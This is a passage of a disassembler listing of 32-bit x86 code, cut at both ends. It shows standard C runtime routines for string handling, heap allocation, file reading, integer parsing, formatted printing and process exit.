add eax, 0
loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj
; sub_41B9C0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B9E0
mov eax, [ecx-4]
test al, al
jz short loc_41BA31
test ah, ah
jz short loc_41BA27
test eax, 0FF0000h
jz short loc_41BA1D
test eax, 0FF000000h
jz short loc_41BA13
jmp short loc_41B9E0
; ---------------------------------------------------------------------------
loc_41BA13: ; CODE XREF: sub_41B9C0+11j
; sub_41B9C0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA1D: ; CODE XREF: sub_41B9C0+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA27: ; CODE XREF: sub_41B9C0+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_41B9C0 endp
; =============== S U B R O U T I N E =======================================
sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p
; sub_401ACD+5809p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
or edi, 0FFFFFFFFh
mov eax, [esi+0Ch]
test al, 40h
jz short loc_41BA50
or eax, 0FFFFFFFFh
jmp short loc_41BA8A
; ---------------------------------------------------------------------------
loc_41BA50: ; CODE XREF: sub_41BA3B+Ej
test al, 83h
jz short loc_41BA88
push esi
call sub_41E42B
push esi
mov edi, eax
call sub_41E3C5
push dword ptr [esi+10h]
call sub_41E312
add esp, 0Ch
test eax, eax
jge short loc_41BA76
or edi, 0FFFFFFFFh
jmp short loc_41BA88
; ---------------------------------------------------------------------------
loc_41BA76: ; CODE XREF: sub_41BA3B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41BA88
push eax
call sub_41BA91
and dword ptr [esi+1Ch], 0
pop ecx
loc_41BA88: ; CODE XREF: sub_41BA3B+17j
; sub_41BA3B+39j ...
mov eax, edi
loc_41BA8A: ; CODE XREF: sub_41BA3B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41BA3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40A928+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41BAF7
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_41BABD
push esi
call sub_41E717
pop ecx
test eax, eax
push esi
jz short loc_41BAE9
push eax
call sub_41E742
pop ecx
pop ecx
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BABD: ; CODE XREF: sub_41BA91+14j
cmp eax, 2
jnz short loc_41BAE8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_41BAE8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41F4C9
add esp, 0Ch
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj
; sub_41BA91+44j
push esi
loc_41BAE9: ; CODE XREF: sub_41BA91+20j
push 0
push dword_4DD384
call ds:dword_42714C ; RtlFreeHeap
loc_41BAF7: ; CODE XREF: sub_41BA91+Aj
; sub_41BA91+2Aj ...
pop esi
leave
retn
sub_41BA91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p
; sub_40FA3C+4Ep ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41BB1E
xor eax, eax
jmp loc_41BBC7
; ---------------------------------------------------------------------------
loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB31
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j
mov ecx, [ebp+arg_0]
loc_41BB3D: ; CODE XREF: sub_41BAFA+35j
; sub_41BAFA+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB6F
mov eax, [esi+4]
test eax, eax
jz short loc_41BB6F
cmp ecx, eax
mov edi, ecx
jb short loc_41BB54
mov edi, eax
loc_41BB54: ; CODE XREF: sub_41BAFA+56j
push edi
push dword ptr [esi]
push ebx
call sub_41CD20
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BB6F: ; CODE XREF: sub_41BAFA+49j
; sub_41BAFA+50j
cmp ecx, [ebp+arg_C]
jb short loc_41BBA2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41BB85
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41BB85: ; CODE XREF: sub_41BAFA+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
test eax, eax
jz short loc_41BBCC
cmp eax, 0FFFFFFFFh
jz short loc_41BBD2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BBA2: ; CODE XREF: sub_41BAFA+78j
push esi
call sub_41F8E3
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41BBD6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41BBBA: ; CODE XREF: sub_41BAFA+73j
; sub_41BAFA+A6j
cmp [ebp+arg_0], 0
jnz loc_41BB3A
mov eax, [ebp+arg_8]
loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj
; sub_41BAFA+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41BBD6
; ---------------------------------------------------------------------------
loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj
or dword ptr [esi+0Ch], 20h
loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j
; sub_41BAFA+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41BBC7
sub_41BAFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41D9B3+35p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41BBFD
push [ebp+arg_4]
call sub_41BEB5
pop ecx
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41BC12
push [ebp+arg_0]
call sub_41BA91
pop ecx
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BC12: ; CODE XREF: sub_41BBE2+20j
mov eax, dword_4DD388
cmp eax, 3
jnz loc_41BD22
loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BCFE
push [ebp+arg_0]
call sub_41E717
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41BCD9
cmp esi, dword_4DD380
ja short loc_41BC92
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41EF20
add esp, 0Ch
test eax, eax
jnz short loc_41BC8E
push esi
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BC92
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BC72
mov eax, esi
loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj
push eax
push ebx
push edi
call sub_41CD20
push ebx
call sub_41E717
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41E742
add esp, 18h
loc_41BC8E: ; CODE XREF: sub_41BBE2+74j
test edi, edi
jnz short loc_41BCD5
loc_41BC92: ; CODE XREF: sub_41BBE2+62j
; sub_41BBE2+81j
test esi, esi
jnz short loc_41BC99
push 1
pop esi
loc_41BC99: ; CODE XREF: sub_41BBE2+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BCD5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41BCC1
mov eax, esi
loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj
push eax
push ecx
push edi
call sub_41CD20
push [ebp+arg_0]
push ebx
call sub_41E742
add esp, 14h
loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj
; sub_41BBE2+D0j
test ebx, ebx
jnz short loc_41BCFA
loc_41BCD9: ; CODE XREF: sub_41BBE2+56j
test esi, esi
jnz short loc_41BCE0
push 1
pop esi
loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
call ds:dword_4271A0 ; RtlReAllocateHeap
mov edi, eax
loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j
test edi, edi
jnz short loc_41BD1B
loc_41BCFE: ; CODE XREF: sub_41BBE2+43j
cmp dword_4DBE48, 0
jz short loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BC20
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj
; sub_41BBE2+123j ...
mov eax, edi
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BD22: ; CODE XREF: sub_41BBE2+38j
cmp eax, 2
jnz loc_41BE3D
cmp esi, 0FFFFFFE0h
ja short loc_41BD3F
test esi, esi
jbe short loc_41BD3C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41BD3F
; ---------------------------------------------------------------------------
loc_41BD3C: ; CODE XREF: sub_41BBE2+150j
push 10h
pop esi
loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj
; sub_41BBE2+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BE1F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41F472
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41BE03
cmp esi, dword_43CE74
jnb short loc_41BDC7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F83A
add esp, 10h
test eax, eax
jz short loc_41BD8D
mov edi, [ebp+arg_0]
jmp short loc_41BDBF
; ---------------------------------------------------------------------------
loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j
push edi
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BDC7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDA6
mov eax, esi
loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j
test edi, edi
jnz loc_41BD1B
loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj
; sub_41BBE2+1B6j
push esi
push 0
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_41BE1F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDE8
mov eax, esi
loc_41BDE8: ; CODE XREF: sub_41BBE2+202j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
jmp short loc_41BE17
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
call ds:dword_4271A0 ; RtlReAllocateHeap
mov edi, eax
loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj
test edi, edi
jnz loc_41BD1B
loc_41BE1F: ; CODE XREF: sub_41BBE2+162j
; sub_41BBE2+1F8j
cmp dword_4DBE48, 0
jz loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BD3F
jmp short loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BE3D: ; CODE XREF: sub_41BBE2+143j
; sub_41BBE2+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41BE67
test esi, esi
jnz short loc_41BE4B
push 1
pop esi
loc_41BE4B: ; CODE XREF: sub_41BBE2+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
call ds:dword_4271A0 ; RtlReAllocateHeap
test eax, eax
jnz short loc_41BE7D
loc_41BE67: ; CODE XREF: sub_41BBE2+260j
cmp dword_4DBE48, 0
jz short loc_41BE7D
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BE3D
loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj
; sub_41BBE2+134j ...
xor eax, eax
loc_41BE7D: ; CODE XREF: sub_41BBE2+16j
; sub_41BBE2+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BBE2 endp
; =============== S U B R O U T I N E =======================================
sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41FD3D
test eax, eax
jnz short loc_41BE8C
retn
; ---------------------------------------------------------------------------
loc_41BE8C: ; CODE XREF: sub_41BE82+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41FBCD
add esp, 10h
retn
sub_41BE82 endp
; =============== S U B R O U T I N E =======================================
sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+57DDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BE82
add esp, 0Ch
retn
sub_41BEA2 endp
; =============== S U B R O U T I N E =======================================
sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40A928+63p ...
arg_0 = dword ptr 4
push dword_4DBE48
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41BEB5 endp
; =============== S U B R O U T I N E =======================================
sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap
; sub_41D9A5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41BEF0
loc_41BECE: ; CODE XREF: sub_41BEC7+27j
push [esp+arg_0]
call sub_41BEF3
test eax, eax
pop ecx
jnz short locret_41BEF2
cmp [esp+arg_4], eax
jz short locret_41BEF2
push [esp+arg_0]
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BECE
loc_41BEF0: ; CODE XREF: sub_41BEC7+5j
xor eax, eax
locret_41BEF2: ; CODE XREF: sub_41BEC7+13j
; sub_41BEC7+19j
retn
sub_41BEC7 endp
; =============== S U B R O U T I N E =======================================
sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DD388
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41BF17
cmp esi, dword_4DD380
ja short loc_41BF49
push esi
call sub_41EA6B
test eax, eax
pop ecx
jz short loc_41BF49
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BF17: ; CODE XREF: sub_41BEF3+Dj
cmp eax, 2
jnz short loc_41BF49
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41BF2C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41BF2F
; ---------------------------------------------------------------------------
loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj
push 10h
pop esi
loc_41BF2F: ; CODE XREF: sub_41BEF3+37j
cmp esi, dword_43CE74
ja short loc_41BF56
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
test eax, eax
pop ecx
jnz short loc_41BF65
jmp short loc_41BF56
; ---------------------------------------------------------------------------
loc_41BF49: ; CODE XREF: sub_41BEF3+15j
; sub_41BEF3+20j ...
test esi, esi
jnz short loc_41BF50
push 1
pop esi
loc_41BF50: ; CODE XREF: sub_41BEF3+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41BF56: ; CODE XREF: sub_41BEF3+42j
; sub_41BEF3+54j
push esi
push 0
push dword_4DD384
call ds:dword_427150 ; RtlAllocateHeap
loc_41BF65: ; CODE XREF: sub_41BEF3+52j
pop esi
retn
sub_41BEF3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41BFC3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41BFB7
neg ecx
and ecx, 3
jz short loc_41BF99
sub edx, ecx
loc_41BF93: ; CODE XREF: sub_41BF70+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41BF93
loc_41BF99: ; CODE XREF: sub_41BF70+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41BFB7
rep stosd
test edx, edx
jz short loc_41BFBD
loc_41BFB7: ; CODE XREF: sub_41BF70+18j
; sub_41BF70+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41BFB7
loc_41BFBD: ; CODE XREF: sub_41BF70+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BFC3: ; CODE XREF: sub_41BF70+Aj
mov eax, [esp+arg_0]
retn
sub_41BF70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFD0 proc near ; CODE XREF: sub_401221+49Fp
; sub_401221+4BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41C053
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41BFF4
shr ecx, 2
jnz short loc_41C061
jmp short loc_41C015
; ---------------------------------------------------------------------------
loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj
; sub_41BFD0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41C022
test al, al
jz short loc_41C02A
test esi, 3
jnz short loc_41BFF4
mov ebx, ecx
shr ecx, 2
jnz short loc_41C061
loc_41C010: ; CODE XREF: sub_41BFD0+8Fj
and ebx, 3
jz short loc_41C022
loc_41C015: ; CODE XREF: sub_41BFD0+22j
; sub_41BFD0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41C04E
dec ebx
jnz short loc_41C015
loc_41C022: ; CODE XREF: sub_41BFD0+2Bj
; sub_41BFD0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj
test edi, 3
jz short loc_41C044
loc_41C032: ; CODE XREF: sub_41BFD0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41C0C6
test edi, 3
jnz short loc_41C032
loc_41C044: ; CODE XREF: sub_41BFD0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41C0B7
loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj
; sub_41BFD0+F4j
mov [edi], al
inc edi
loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj
dec ebx
jnz short loc_41C04B
pop ebx
pop esi
loc_41C053: ; CODE XREF: sub_41BFD0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C059: ; CODE XREF: sub_41BFD0+A9j
; sub_41BFD0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C010
loc_41C061: ; CODE XREF: sub_41BFD0+20j
; sub_41BFD0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C059
test dl, dl
jz short loc_41C0AB
test dh, dh
jz short loc_41C0A1
test edx, 0FF0000h
jz short loc_41C097
test edx, 0FF000000h
jnz short loc_41C059
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C097: ; CODE XREF: sub_41BFD0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj
xor edx, edx
mov [edi], edx
loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j
; sub_41BFD0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41C0C1
loc_41C0B7: ; CODE XREF: sub_41BFD0+79j
xor eax, eax
loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41C0B9
loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j
and ebx, 3
jnz short loc_41C04B
loc_41C0C6: ; CODE XREF: sub_41BFD0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41BFD0 endp
; =============== S U B R O U T I N E =======================================
sub_41C0CE proc near ; CODE XREF: sub_41C159+4p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41C0D6: ; CODE XREF: sub_41C0CE+34j
cmp dword_43D084, 1
jle short loc_41C0EE
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C0FD
; ---------------------------------------------------------------------------
loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 8
loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej
test eax, eax
jz short loc_41C104
inc edi
jmp short loc_41C0D6
; ---------------------------------------------------------------------------
loc_41C104: ; CODE XREF: sub_41C0CE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41C114
cmp esi, 2Bh
jnz short loc_41C118
loc_41C114: ; CODE XREF: sub_41C0CE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41C118: ; CODE XREF: sub_41C0CE+44j
xor ebx, ebx
loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj
cmp dword_43D084, 1
jle short loc_41C12F
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C13A
; ---------------------------------------------------------------------------
loc_41C12F: ; CODE XREF: sub_41C0CE+53j
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj
test eax, eax
jz short loc_41C14B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41C11A
; ---------------------------------------------------------------------------
loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41C154
neg eax
loc_41C154: ; CODE XREF: sub_41C0CE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41C0CE endp
; =============== S U B R O U T I N E =======================================
sub_41C159 proc near ; CODE XREF: sub_401221+306p
; sub_401ACD+717p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41C0CE
pop ecx
retn
sub_41C159 endp
; =============== S U B R O U T I N E =======================================
sub_41C164 proc near ; CODE XREF: .text:0041E266p
mov eax, off_43AE1C
test eax, eax
jz short loc_41C16F
call eax ; sub_41D124
loc_41C16F: ; CODE XREF: sub_41C164+7j
push offset dword_429028
push offset dword_429014
call sub_41C24C
push offset dword_429010
push offset dword_429000
call sub_41C24C
add esp, 10h
retn
sub_41C164 endp
; =============== S U B R O U T I N E =======================================
sub_41C191 proc near ; CODE XREF: .text:0041E2A5p
arg_0 = dword ptr 4
push 0
push 0
push [esp+8+arg_0]
call sub_41C1B3
add esp, 0Ch
retn
sub_41C191 endp
; =============== S U B R O U T I N E =======================================
sub_41C1A2 proc near ; CODE XREF: .text:0041E2C4p
; sub_41E2C9+1Cp ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41C1B3
add esp, 0Ch
retn
sub_41C1A2 endp
; =============== S U B R O U T I N E =======================================
sub_41C1B3 proc near ; CODE XREF: sub_41C191+8p
; sub_41C1A2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DBE24, edi
jnz short loc_41C1D0
push [esp+4+arg_0]
call ds:dword_427104 ; GetCurrentProcess
push eax
call ds:dword_4270FC ; TerminateProcess
loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DBE20, edi
mov byte_4DBE1C, bl
jnz short loc_41C224
mov eax, dword_4DD39C
test eax, eax
jz short loc_41C213
mov ecx, dword_4DD398
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41C212
loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41C207
call eax
loc_41C207: ; CODE XREF: sub_41C1B3+50j
sub esi, 4
cmp esi, dword_4DD39C
jnb short loc_41C1FF
loc_41C212: ; CODE XREF: sub_41C1B3+4Aj
pop esi
loc_41C213: ; CODE XREF: sub_41C1B3+3Cj
push offset dword_429034
push offset dword_42902C
call sub_41C24C
pop ecx
pop ecx
loc_41C224: ; CODE XREF: sub_41C1B3+33j
push offset dword_429040
push offset dword_429038
call sub_41C24C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41C24A
push [esp+4+arg_0]
mov dword_4DBE24, edi
call ds:dword_42706C ; ExitProcess
loc_41C24A: ; CODE XREF: sub_41C1B3+85j
pop edi
retn
sub_41C1B3 endp
; =============== S U B R O U T I N E =======================================
sub_41C24C proc near ; CODE XREF: sub_41C164+15p
; sub_41C164+24p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41C251: ; CODE XREF: sub_41C24C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41C264
mov eax, [esi]
test eax, eax
jz short loc_41C25F
call eax
loc_41C25F: ; CODE XREF: sub_41C24C+Fj
add esi, 4
jmp short loc_41C251
; ---------------------------------------------------------------------------
loc_41C264: ; CODE XREF: sub_41C24C+9j
pop esi
retn
sub_41C24C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C266 proc near ; CODE XREF: sub_401221+18Fp
; sub_401221+295p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C2A6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C2B3
; ---------------------------------------------------------------------------
loc_41C2A6: ; CODE XREF: sub_41C266+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C2B3: ; CODE XREF: sub_41C266+3Ej
mov eax, esi
pop esi
leave
retn
sub_41C266 endp
; =============== S U B R O U T I N E =======================================
sub_41C2B8 proc near ; CODE XREF: sub_401221+45p
; sub_401ACD+315Ep ...
arg_0 = dword ptr 4
